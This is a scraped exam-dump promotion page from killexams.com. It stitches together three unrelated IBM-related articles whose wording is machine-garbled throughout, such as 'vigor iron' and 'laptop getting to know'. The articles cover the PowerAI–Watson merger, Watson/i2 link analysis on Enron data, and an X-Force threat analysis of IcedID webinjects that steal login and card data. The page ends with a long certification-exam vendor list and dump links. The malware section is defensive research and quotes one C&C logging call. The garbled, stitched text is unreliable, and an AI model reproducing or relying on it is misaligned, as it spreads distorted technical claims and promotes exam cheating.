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IBM Mashes Up PowerAI And Watson machine gaining knowledge of Stacks | killexams.com Real Questions and Pass4sure dumps

prior during this decade, when the hyperscalers and the academics that run with them have been constructing desktop gaining knowledge of frameworks to transpose all kinds of records from one structure to one more – speech to textual content, textual content to speech, photo to text, video to textual content, and so forth – they had been doing so no longer just for scientific curiosity. They were making an attempt to clear up real company issues and addressing the wants of shoppers the usage of their utility.

at the identical time, IBM was making an attempt to resolve a special issue, naming growing a question-answer device that might anthropomorphize the quest engine. This effort become known as challenge Blue J internal of IBM (now not to be at a loss for words with the open supply BlueJ built-in development atmosphere for Java), changed into wrapped up right into a application stack called DeepQA by using IBM. It became this DeepQA stack, which turned into according to the open supply Hadoop unstructured statistics storage and analytics engine that came out of Yahoo and an additional challenge called Apache UIMA, which predates Hadoop by using several years and which was designed via IBM database consultants in the early 2000s to technique unstructured records like text, audio, and video. This Deep QA stack become embedded within the Watson QA system that turned into designed to play Jeopardy against humans, which we referred to in element right here eight years ago. The Apache UIMA stack turned into the key part of the WatsonQA equipment that did herbal language processing that parsed out the speech in a Jeopardy answer, converted it to textual content, and fed it into the statistical algorithms to create the Jeopardy query.

Watson won the contest against human Jeopardy champs Brad Rutter and Ken Jennings, and a brand – which invoked IBM founder Thomas Watson and his admonition to “suppose” in addition to doctor Watson, the sidekick of fictional supersleuth Sherlock Holmes – was born.

rather than make Watson a product for sale, IBM provided it as a provider, and pumped the QA gadget full of records to take on the healthcare, financial functions, power, promoting and media, and training industries. This turned into, perhaps, a mistake, but on the time, in the wake of the Jeopardy championship, it felt like every little thing become moving to the cloud and that the SaaS mannequin become the appropriate way to go. IBM certainly not really talked in excellent detail about how DeepQA was constructed, and it has similarly no longer been certain about how this Watson stack has modified over time – eight years is a very long time within the machine gaining knowledge of area.  It isn't clear if Watson is material to IBM’s revenues, but what is clear is that computing device discovering is strategic for its systems, application, and capabilities businesses.

So that is why IBM is eventually bringing together all of its computer researching equipment and putting them under the Watson manufacturer and, very importantly, making the Watson stack accessible for purchase so it can also be run on private datacenters and in different public clouds anyway the one that IBM runs. To be actual, the Watson functions as smartly because the PowerAI computing device gaining knowledge of practicing frameworks and adjunct equipment tuned as much as run on clusters of IBM’s vigor techniques machines, are being brought collectively, and they're going to be put into Kubernetes containers and allotted to run on the IBM Cloud private Kubernetes stack, which is accessible on X86 systems as well as IBM’s own vigour iron, in virtualized or naked steel modes. It is this encapsulation of this new and finished Watson stack with IBM Cloud private stack that makes it moveable across inner most datacenters and other clouds.

by the way, as a part of the mashup of these tools, the PowerAI stack that specializes in deep researching, GPU-accelerated laptop researching, and scaling and disbursed computing for AI, is being made a core a part of the Watson Studio and Watson computer studying (Watson ML) application tools. This integrated software suite offers commercial enterprise facts scientists an conclusion-to-end developer tools. Watson Studio is an integrated development atmosphere according to Jupyter notebooks and R Studio. Watson ML is a collection of computing device and deep researching libraries and model and statistics management. Watson OpenScale is AI model monitoring and bias and fairness detection. The software previously referred to as PowerAI and PowerAI commercial enterprise will proceed to be developed by the Cognitive techniques division. The Watson division, if you aren't commonplace with IBM’s organizational chart, is a part of its Cognitive solutions group, which comprises databases, analytics equipment, transaction processing middleware, and quite a few purposes distributed either on premises or as a provider on the IBM Cloud.

it's uncertain how this Watson stack may change within the wake of IBM closing the purple Hat acquisition, which should turn up earlier than the conclusion of the yr. however is reasonably priced to anticipate that IBM will tune up all of this utility to run on red Hat commercial enterprise Linux and its own KVM virtual machines and OpenShift implementation of Kubernetes and then push in fact tough.

it's probably helpful to evaluation what PowerAI is all about after which display the way it is being melded into the Watson stack. earlier than the mixing and the identify adjustments (more on that in a second), here is what the PowerAI stack gave the impression of:

based on Bob Picciano, senior vice chairman of Cognitive programs at IBM, there are greater than 600 commercial enterprise valued clientele which have deployed PowerAI tools to run machine studying frameworks on its vigor systems iron, and obviously GPU-accelerated techniques like the vigor AC922 device it really is on the heart of the “Summit” supercomputer at okayRidge countrywide Laboratory and the sibling “Sierra” supercomputer at Lawrence Livermore national Laboratory are the leading IBM machines individuals are the use of to do AI work. this is decent delivery for a nascent trade and a platform that is comparatively new to the AI crowd, but most likely now not so distinctive for commercial enterprise consumers that have used vigor iron in their database and utility tiers for many years.

The preliminary PowerAI code from two years in the past started with versions of the TensorFlow, Caffe, PyTorch, and Chainer desktop getting to know frameworks that huge Blue tuned up for its power processors. The massive innovation with PowerAI is what is referred to as gigantic mannequin support, which makes use of the coherency between Nvidia “Pascal” and “Volta” Tesla GPU accelerators and Power8 and Power9 processors in the IBM vigor programs servers – enabled by using NVLink ports on the power processors and tweaks to the Linux kernel – to permit tons higher neural community practising fashions to be loaded into the equipment. all of the PowerAI code is open source and disbursed as code or binaries, and up to now best on energy processors. (We suspect IBM will go agnostic on this at last, because Watson equipment should run on the massive public clouds, which with the exception now of the IBM Cloud, should not have energy programs obtainable. (Nimbix, a expert in HPC and AI and a smaller public cloud, does present energy iron and helps PowerAI, by the way.)

beneath this, IBM has created a foundation referred to as PowerAI enterprise, and here is now not open supply and it is just attainable as a part of a subscription. PowerAI business provides Message Passing Interface (MPI) extensions to the laptop researching frameworks – what IBM calls disbursed Deep getting to know – as well as cluster virtualization and computerized hyper-parameter optimization strategies, embedded in its Spectrum Conductor for Spark (yes, that Spark, the in-reminiscence processing framework) tool. IBM has additionally introduced what it calls the Deep discovering have an effect on module, which includes equipment for managing data (akin to ETL extraction and visualization of datasets) and managing neural community models, including wizards that imply the way to most advantageous use records and fashions. On appropriate of this stack, IBM’s first business AI utility that it's promoting is referred to as PowerAI vision, which can also be used to label picture and video data for working towards fashions and instantly educate fashions (or increase current fashions supplied with the license).

So in any case of the alterations, here's what the brand new Watson stack feels like:

As that you may see, the Watson laptop learning stack helps a lot more machine researching frameworks, peculiarly the SnapML framework that got here out of IBM’s analysis lab in Zurich that is providing a major efficiency abilities on vigor iron compared to operating frameworks like Google’s TensorFlow. this is most likely a more finished stack for computer studying, including Watson Studio for developing fashions, the central Watson computer learning stack for training and deploying fashions in production inference, and now Watson OpenScale (it is mislabeled in the chart) to computer screen and support enrich the accuracy of models according to how they're working in the field as they infer issues.

For the moment, there is no trade in PowerAI business licenses and pricing all over the first quarter, but after that PowerAI enterprise may be brought into the Watson stack to add the dispensed GPU computing device researching practicing and inference capabilities atop vigor iron to that stack. So Watson, which began out on Power7 machines playing Jeopardy, is coming lower back home to Power9 with construction laptop getting to know purposes within the enterprise. We are not certain if IBM will offer identical distributed machine studying capabilities on non-vigor machines, however it appears probably that's customers want to run the Watson stack on premises or in a public cloud, it will have to. vigor systems will must stand on its own merits if that comes to move, and given the advantages that Power9 chips have in regards to compute, I/O and memory bandwidth, and coherent memory across CPUs and GPUs, that can also no longer be as a great deal of an affect as we might feel. The X86 architecture will need to win on its own merits, too.

smart Investigation: Uncovering Hidden links in Unstructured facts with IBM Watson and i2 | killexams.com Real Questions and Pass4sure dumps

think about, you're capable of finding a person in a crowd; you've got under no circumstances considered him earlier than, you do not know his true identify; simplest that the one is probably there. probably there however hiding. Hiding in the back of fictitious identification, fake identify. All this can be uncovered with the solution described below.

devil lies in the aspect. tap into new depths and probabilities with new strategies discovering advantageous suggestions it is hidden in unstructured statistics. Even with a state of the artwork in superior link analysis or records visualization equipment at one’s disposal, the “full” photo lacks essential assistance whether it is based best on portion of information available, like discovering hidden entities in paragraphs of digital conversation or settling on fictitious entities with of IBM Watson and IBM i2 applied sciences.

An volume of facts for legislation Enforcement investigation rises every day. it is basically overwhelming, in particular statistics in unstructured form. The exciting DATERA’s strategy combines structured and unstructured statistics for a far better realizing and thorough perception into the statistics that groups already possess.

Even with a superb knowledge of i2 items family unit, there are nonetheless methods the way to enrich investigation data for a stronger, and extra accurate effect. related to i2 capabilities, the visualization of entities and hyperlinks hidden in unstructured data, is primarily difficult. For an unstructured data evaluation, an IBM Watson know-how is used to detect and to find entities and their members of the family in undeniable textual content or speech converted to textual content. furthermore, false identities and fictitious entities are uncovered the usage of an IBM identification insight. one in every of add-ons included in the IBM identification perception is an IBM InfoSphere world name administration which helps manage, search, analyze, and evaluate multicultural name datasets with the aid of leveraging subculture-particular name information, and linguistic guidelines.

thanks to that, it's viable to find and detects also non-obvious relationships between entities and identities and make connections that are otherwise hidden within the noise. This formulation in addition enriches the existing intelligence discoveries with highlighting details that investigator may now not notice earlier than.

The entire theory is according to a real LEA consumer. as a result of a sensitivity of the consumer’s facts a concrete use case changed into modelled on a well-known enterprise referred to as Enron. As an input, we employed these publicly accessible Enron linked information:

and applied these steps:

related to i2 centralized repository, this seriously change fundamental tables and uncooked information into true-existence mannequin of entities and connections. Prerequisite for here's careful design of entity mannequin and mapping of records to this mannequin. All analyzed and modified information are loaded into this repository. this is critical because the quantity of communications is awfully big and if analyst would analyze handiest few in the neighborhood opened mailboxes this method can cause missing connections and conversations. ordinary manner is displayed on following schema.

When all analysis, transformations and statistics hundreds are performed, we will see certainly visualized information like:

example visualization chart that includes also entities detected through Watson can also be seen on the reveal below.

Chart with connections is not the only approach the way to visualize saved records. All hyperlinks and communications can also be projected to a heatmatrix. This classification of illustration indicates you at what duration of time turned into the conversation most energetic, if the dialog half changed into sent in inappropriate time or even suspicious time. The extra conversations had been despatched, the darker the colour gets. through this means analyst can see these spots straight.

an additional way how to refine time dimension is displaying entities and connections in a timeline. each and every entity gets its own outline on the chart and all connections are represented one by one ordered through time sequence.

each and every exploration begins with just few entities and after ages that you may lengthen your focus deeper into the facts network. restricted search based on every attribute or basic expanding the context of particular entity will help you to get full view in one place.

IcedID Operators the use of ATSEngine Injection Panel to Hit E-Commerce sites | killexams.com Real Questions and Pass4sure dumps

Thinkstock

As a part of the continued analysis into cybercrime tools focused on users of monetary functions and e-commerce, IBM X-drive analyzes the strategies, concepts and approaches (TTPs) of geared up malware gangs, exposing their internal workings to support diffuse authentic risk intelligence to the safety group.

In fresh analysis of IcedID Trojan attacks, our team regarded into how IcedID operators target e-commerce providers in the U.S., the gang’s average attack turf. The threat tactic is a two-step injection assault designed to steal entry credentials and price card facts from victims. given that the attack is one at a time operated, it’s plausible that those at the back of IcedID are either engaged on diverse monetization schemes or renting botnet sections to different criminals, turning it to a cybercrime-as-a-provider operation, corresponding to the Gozi Trojan’s enterprise mannequin.

IBM security found out and named IcedID in September 2017. This modern banking Trojan points identical modules to malware like TrickBot and Gozi. It typically goals banks, price card suppliers, mobile functions suppliers, payroll, webmail and e-commerce sites, and its assault turf is chiefly the U.S. and Canada. of their configuration data, it is obvious that IcedID’s operators target company money owed in quest of heftier bounties than these customarily present in buyer money owed.

IcedID has the capacity to launch distinct attack kinds, together with webinjection, redirection and proxy redirection of all sufferer traffic via a port it listens on.

The malware’s distribution and infection tactics imply that its operators don't seem to be new to the cybercrime enviornment; it has infected users via the Emotet Trojan because 2017 and in check campaigns launched in mid-2018, also by the use of TrickBot. Emotet has been among the most exceptional malicious functions catering to elite cybercrime corporations from japanese Europe over the last two years. among its doubtful purchasers are companies that function QakBot, Dridex, IcedID and TrickBot.

while existing IcedID configurations function each webinjection and malware-facilitate redirection assaults, let’s focus on its two-stage webinjection scheme. This tactic differs from equivalent Trojans, most of which install the total injection both from the configuration or on the fly.

To deploy injections and collect stolen records coming from victim input, some IcedID operators use a business inject panel referred to as Yummba’s ATSEngine. ATS stands for automated transaction system during this case. a web-based mostly handle panel, ATSEngine works from an assault/injection server, not from the malware’s command-and-control (C&C) server. It allows the attacker to orchestrate the injection manner, update injections on the assault server with agility and velocity, parse stolen data, and manage the operation of fraudulent transactions. industrial transaction panels are very common and have been in common use in view that they became commonplace within the days of the Zeus Trojan circa 2007.

within the assault we examined, we realized that some IcedID operators are the use of the malware to target very certain manufacturers within the e-commerce sphere. Our researchers mentioned that this attack is probably going sectioned off from the main botnet and operated by criminals who concentrate on fraudulent merchandise purchases and never necessarily financial institution fraud.

Let’s study a sample code from these injections. This specific example was taken from an assault designed to steal credentials and take over the accounts of clients browsing to a favored e-commerce web page in the U.S.

As a primary step, to receive any suggestions from the attack server, the resident malware on the contaminated equipment should authenticate itself to the botnet’s operator. It does so the usage of a script from the configuration file. If the bot is authenticated to the server, a malicious script is distributed from the attacker’s ATSEngine server, in this case by means of the URL home_link/gate.personal home page.

word that IcedID protects its configured guidelines with encryption. The bot hence requires a personal key that authenticates versus the attacker’s web-primarily based control panel (e.g., var pkey = “Ab1cd23”). This potential the contaminated machine would now not have interaction with other C&C servers that may additionally belong to other criminals or safety researchers.

figure 1: IcedID Trojan receives directions on connecting to attack server (supply: IBM Trusteer)

subsequent, we evaluated the eval(characteristic(p, a, c, okay, e, r) function within the verbal exchange with the assault server and received the following code to show. Encoding is a common strategy to pack code and make it greater compact.

figure 2: IcedID code designed to set the browser to settle for external script injections (source: IBM Trusteer)

This characteristic sets the contaminated user’s browser to accept exterior script injections that the Trojan will fetch from its operator’s server during an energetic assault.

right here snippet indicates the creation of a document object model (DOM) script aspect with classification textual content/javascript and the identity jsess_script_loader. The injection’s developer used this technique to inject a far flung script into a legitimate webpage. It fetches the far off script from the attacker’s C&C after which embeds it in a script tag, either in the head of the customary webpage or in its body.

Taking a closer seem on the function used here, we can see that it loads the script from the home_link of the ssid= of the infected consumer’s machine, along with the current calendar date.

figure three: IcedID code designed to inject far flung script into focused web page (source: IBM Trusteer)

To operate the webinjection, an external script, a malicious JavaScript snippet, is charged with injecting HTML code into the contaminated person’s browser. the usage of this tactic, the malware doesn't installation the total injection from the configuration file, which would essentially expose it to researchers who efficiently decrypt the configuration. rather, it uses an preliminary injection as a set off to fetch a 2nd a part of the injection from its assault server in precise time. That method, the assault can continue to be greater covert and the attacker can have more agility in updating injections without having to replace the configuration file on all of the contaminated devices.

within the illustration under, the HTML code, named ccgrab, modifies the web page the sufferer is viewing and gifts social engineering content material to steal fee card records. This added content material on the page prompts the sufferer to deliver additional information about his or her id to log in securely.

figure 4: IcedID tricking victim with webinjection (source: IBM Trusteer)

The malware immediately grabs the sufferer’s entry credentials and the webinjection requests here further records aspects touching on the victim’s payment card:

once the sufferer enters these details, the data is shipped to the attacker’s ATSEngine server in parsed form that enables the criminal to view and search statistics via the handle panel.

figure 5: Parsed stolen facts despatched to attacker’s injection server (supply: IBM Trusteer)

The malicious script run through the malware performs extra capabilities to seize content from the victim’s gadget and his or her endeavor. The content material grabbing function also tests the validity of the user’s input to be sure that the C&C does not accumulate junk records over time and manages the assault’s variables.

determine 6: Malicious IcedID script manages information grabbing (source: IBM Trusteer)

as soon as the records from the user is validated, it's saved to the C&C:

determine 7: Saving stolen information to attack server logs (supply: IBM Trusteer)

The attack server enables the attacker to command contaminated bots by way of a few features. Let’s appear at the function listing that we examined as soon as we decoded IcedID’s malicious script:

characteristic name

goal

isFrame()

isValidCardNumber(a)

onLoaded()

addLog(a,b,c,d)

writeLog()

Writes logs to the attack server after validation of the deepest key and the victim’s carrier set identifier (SSID). here's performed by using the following script: getData(gate_link + a + “&pkey=” + urlEncode(pkey) + “&ssid=” + b, b)

The attack server allows for the operator to use different services that are sectioned into tabs on the manage panel:

determine eight beneath indicates the design of information about services used on a given infected machine as it appears to the attacker the use of the ATSEngine manage panel:

determine 8: Attacker’s view from the manage panel that manages stolen data (supply: IBM Trusteer)

The ATSEngine manage panel makes it possible for the attacker to view the lively features with a time stamp (see figure 8). the following tips is retrieved from the victim’s gadget and despatched to the assault server:

A view from the manage panel displays basic facts in tables, proposing the attacker with the victim’s login credentials to the targeted site:

determine 9: Stolen account suggestions parsed on handle panel view (supply: IBM Trusteer)

Following the evaluation of IcedID’s injections and manage panel aspects, our researchers accept as true with that, a lot like other Trojan-operating gangs, IcedID is maybe renting out its infrastructure to other criminals who specialize in quite a lot of fraud scenarios.

The control panel, a standard aspect in online fraud operations, reveals the use of a transaction automation tool (ATS) by IcedID’s operators. This industrial panel helps facilitate bot control, data management and administration of fraudulent endeavor. The panel of alternative here's a longtime staple in the cybercrime area referred to as the Yummba/ATSEngine.

Fraud eventualities may fluctuate from one operator to one more, but IcedID’s TTPs continue to be the identical and are utilized to the entire attacks the Trojan allows. As such, IcedID’s webinjections can apply to any website, and its redirection schemes will also be fitted to any goal.

whereas some Trojan gangs decide to expand their assault turf into more countries, this requires funding, supplies to construct tailored assault tools, alliances with local equipped crime and additional money laundering operations. In IcedID’s case, it does not seem the crowd is looking to extend. Ever considering it first seemed in the wild, IcedID has kept its focal point on North the us by way of targeting banks and e-commerce corporations in that place.

In 2018, IcedID reached the fourth rank on the world financial Trojan chart, having stored up its malicious pastime all the way through the 12 months.

figure 10: good 10 fiscal Trojan gangs in 2018 (source: IBM Trusteer)

In 2019, our team expects to look this vogue continue. To keep up on threats like IcedID, examine greater hazard analysis from the X-force crew and be a part of X-force trade, where we submit warning signs of compromise (IoCs) and different useful intelligence for security specialists.

construct your circle of digital id trust

security content material Analyst – IBM Trusteer

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ASIS [2 Certification Exam(s) ]
ASQ [3 Certification Exam(s) ]
ASTQB [8 Certification Exam(s) ]
Autodesk [2 Certification Exam(s) ]
Avaya [96 Certification Exam(s) ]
AXELOS [1 Certification Exam(s) ]
Axis [1 Certification Exam(s) ]
Banking [1 Certification Exam(s) ]
BEA [5 Certification Exam(s) ]
BICSI [2 Certification Exam(s) ]
BlackBerry [17 Certification Exam(s) ]
BlueCoat [2 Certification Exam(s) ]
Brocade [4 Certification Exam(s) ]
Business-Objects [11 Certification Exam(s) ]
Business-Tests [4 Certification Exam(s) ]
CA-Technologies [21 Certification Exam(s) ]
Certification-Board [10 Certification Exam(s) ]
Certiport [3 Certification Exam(s) ]
CheckPoint [41 Certification Exam(s) ]
CIDQ [1 Certification Exam(s) ]
CIPS [4 Certification Exam(s) ]
Cisco [318 Certification Exam(s) ]
Citrix [48 Certification Exam(s) ]
CIW [18 Certification Exam(s) ]
Cloudera [10 Certification Exam(s) ]
Cognos [19 Certification Exam(s) ]
College-Board [2 Certification Exam(s) ]
CompTIA [76 Certification Exam(s) ]
ComputerAssociates [6 Certification Exam(s) ]
Consultant [2 Certification Exam(s) ]
Counselor [4 Certification Exam(s) ]
CPP-Institue [2 Certification Exam(s) ]
CPP-Institute [1 Certification Exam(s) ]
CSP [1 Certification Exam(s) ]
CWNA [1 Certification Exam(s) ]
CWNP [13 Certification Exam(s) ]
Dassault [2 Certification Exam(s) ]
DELL [9 Certification Exam(s) ]
DMI [1 Certification Exam(s) ]
DRI [1 Certification Exam(s) ]
ECCouncil [21 Certification Exam(s) ]
ECDL [1 Certification Exam(s) ]
EMC [129 Certification Exam(s) ]
Enterasys [13 Certification Exam(s) ]
Ericsson [5 Certification Exam(s) ]
ESPA [1 Certification Exam(s) ]
Esri [2 Certification Exam(s) ]
ExamExpress [15 Certification Exam(s) ]
Exin [40 Certification Exam(s) ]
ExtremeNetworks [3 Certification Exam(s) ]
F5-Networks [20 Certification Exam(s) ]
FCTC [2 Certification Exam(s) ]
Filemaker [9 Certification Exam(s) ]
Financial [36 Certification Exam(s) ]
Food [4 Certification Exam(s) ]
Fortinet [13 Certification Exam(s) ]
Foundry [6 Certification Exam(s) ]
FSMTB [1 Certification Exam(s) ]
Fujitsu [2 Certification Exam(s) ]
GAQM [9 Certification Exam(s) ]
Genesys [4 Certification Exam(s) ]
GIAC [15 Certification Exam(s) ]
Google [4 Certification Exam(s) ]
GuidanceSoftware [2 Certification Exam(s) ]
H3C [1 Certification Exam(s) ]
HDI [9 Certification Exam(s) ]
Healthcare [3 Certification Exam(s) ]
HIPAA [2 Certification Exam(s) ]
Hitachi [30 Certification Exam(s) ]
Hortonworks [4 Certification Exam(s) ]
Hospitality [2 Certification Exam(s) ]
HP [750 Certification Exam(s) ]
HR [4 Certification Exam(s) ]
HRCI [1 Certification Exam(s) ]
Huawei [21 Certification Exam(s) ]
Hyperion [10 Certification Exam(s) ]
IAAP [1 Certification Exam(s) ]
IAHCSMM [1 Certification Exam(s) ]
IBM [1532 Certification Exam(s) ]
IBQH [1 Certification Exam(s) ]
ICAI [1 Certification Exam(s) ]
ICDL [6 Certification Exam(s) ]
IEEE [1 Certification Exam(s) ]
IELTS [1 Certification Exam(s) ]
IFPUG [1 Certification Exam(s) ]
IIA [3 Certification Exam(s) ]
IIBA [2 Certification Exam(s) ]
IISFA [1 Certification Exam(s) ]
Intel [2 Certification Exam(s) ]
IQN [1 Certification Exam(s) ]
IRS [1 Certification Exam(s) ]
ISA [1 Certification Exam(s) ]
ISACA [4 Certification Exam(s) ]
ISC2 [6 Certification Exam(s) ]
ISEB [24 Certification Exam(s) ]
Isilon [4 Certification Exam(s) ]
ISM [6 Certification Exam(s) ]
iSQI [7 Certification Exam(s) ]
ITEC [1 Certification Exam(s) ]
Juniper [64 Certification Exam(s) ]
LEED [1 Certification Exam(s) ]
Legato [5 Certification Exam(s) ]
Liferay [1 Certification Exam(s) ]
Logical-Operations [1 Certification Exam(s) ]
Lotus [66 Certification Exam(s) ]
LPI [24 Certification Exam(s) ]
LSI [3 Certification Exam(s) ]
Magento [3 Certification Exam(s) ]
Maintenance [2 Certification Exam(s) ]
McAfee [8 Certification Exam(s) ]
McData [3 Certification Exam(s) ]
Medical [69 Certification Exam(s) ]
Microsoft [374 Certification Exam(s) ]
Mile2 [3 Certification Exam(s) ]
Military [1 Certification Exam(s) ]
Misc [1 Certification Exam(s) ]
Motorola [7 Certification Exam(s) ]
mySQL [4 Certification Exam(s) ]
NBSTSA [1 Certification Exam(s) ]
NCEES [2 Certification Exam(s) ]
NCIDQ [1 Certification Exam(s) ]
NCLEX [2 Certification Exam(s) ]
Network-General [12 Certification Exam(s) ]
NetworkAppliance [39 Certification Exam(s) ]
NI [1 Certification Exam(s) ]
NIELIT [1 Certification Exam(s) ]
Nokia [6 Certification Exam(s) ]
Nortel [130 Certification Exam(s) ]
Novell [37 Certification Exam(s) ]
OMG [10 Certification Exam(s) ]
Oracle [279 Certification Exam(s) ]
P&C [2 Certification Exam(s) ]
Palo-Alto [4 Certification Exam(s) ]
PARCC [1 Certification Exam(s) ]
PayPal [1 Certification Exam(s) ]
Pegasystems [12 Certification Exam(s) ]
PEOPLECERT [4 Certification Exam(s) ]
PMI [15 Certification Exam(s) ]
Polycom [2 Certification Exam(s) ]
PostgreSQL-CE [1 Certification Exam(s) ]
Prince2 [6 Certification Exam(s) ]
PRMIA [1 Certification Exam(s) ]
PsychCorp [1 Certification Exam(s) ]
PTCB [2 Certification Exam(s) ]
QAI [1 Certification Exam(s) ]
QlikView [1 Certification Exam(s) ]
Quality-Assurance [7 Certification Exam(s) ]
RACC [1 Certification Exam(s) ]
Real-Estate [1 Certification Exam(s) ]
RedHat [8 Certification Exam(s) ]
RES [5 Certification Exam(s) ]
Riverbed [8 Certification Exam(s) ]
RSA [15 Certification Exam(s) ]
Sair [8 Certification Exam(s) ]
Salesforce [5 Certification Exam(s) ]
SANS [1 Certification Exam(s) ]
SAP [98 Certification Exam(s) ]
SASInstitute [15 Certification Exam(s) ]
SAT [1 Certification Exam(s) ]
SCO [10 Certification Exam(s) ]
SCP [6 Certification Exam(s) ]
SDI [3 Certification Exam(s) ]
See-Beyond [1 Certification Exam(s) ]
Siemens [1 Certification Exam(s) ]
Snia [7 Certification Exam(s) ]
SOA [15 Certification Exam(s) ]
Social-Work-Board [4 Certification Exam(s) ]
SpringSource [1 Certification Exam(s) ]
SUN [63 Certification Exam(s) ]
SUSE [1 Certification Exam(s) ]
Sybase [17 Certification Exam(s) ]
Symantec [134 Certification Exam(s) ]
Teacher-Certification [4 Certification Exam(s) ]
The-Open-Group [8 Certification Exam(s) ]
TIA [3 Certification Exam(s) ]
Tibco [18 Certification Exam(s) ]
Trainers [3 Certification Exam(s) ]
Trend [1 Certification Exam(s) ]
TruSecure [1 Certification Exam(s) ]
USMLE [1 Certification Exam(s) ]
VCE [6 Certification Exam(s) ]
Veeam [2 Certification Exam(s) ]
Veritas [33 Certification Exam(s) ]
Vmware [58 Certification Exam(s) ]
Wonderlic [2 Certification Exam(s) ]
Worldatwork [2 Certification Exam(s) ]
XML-Master [3 Certification Exam(s) ]
Zend [6 Certification Exam(s) ]

References :

Issu : https://issuu.com/trutrainers/docs/p2170-037
Dropmark : http://killexams.dropmark.com/367904/11469887
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Scribd : https://www.scribd.com/document/357051430/Pass4sure-P2170-037-Practice-Tests-with-Real-Questions
Dropmark-Text : http://killexams.dropmark.com/367904/12025422
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zoho.com : https://docs.zoho.com/file/5ce0z6bd97aafa41c46e09ead31789371d198
coursehero.com : "Excle"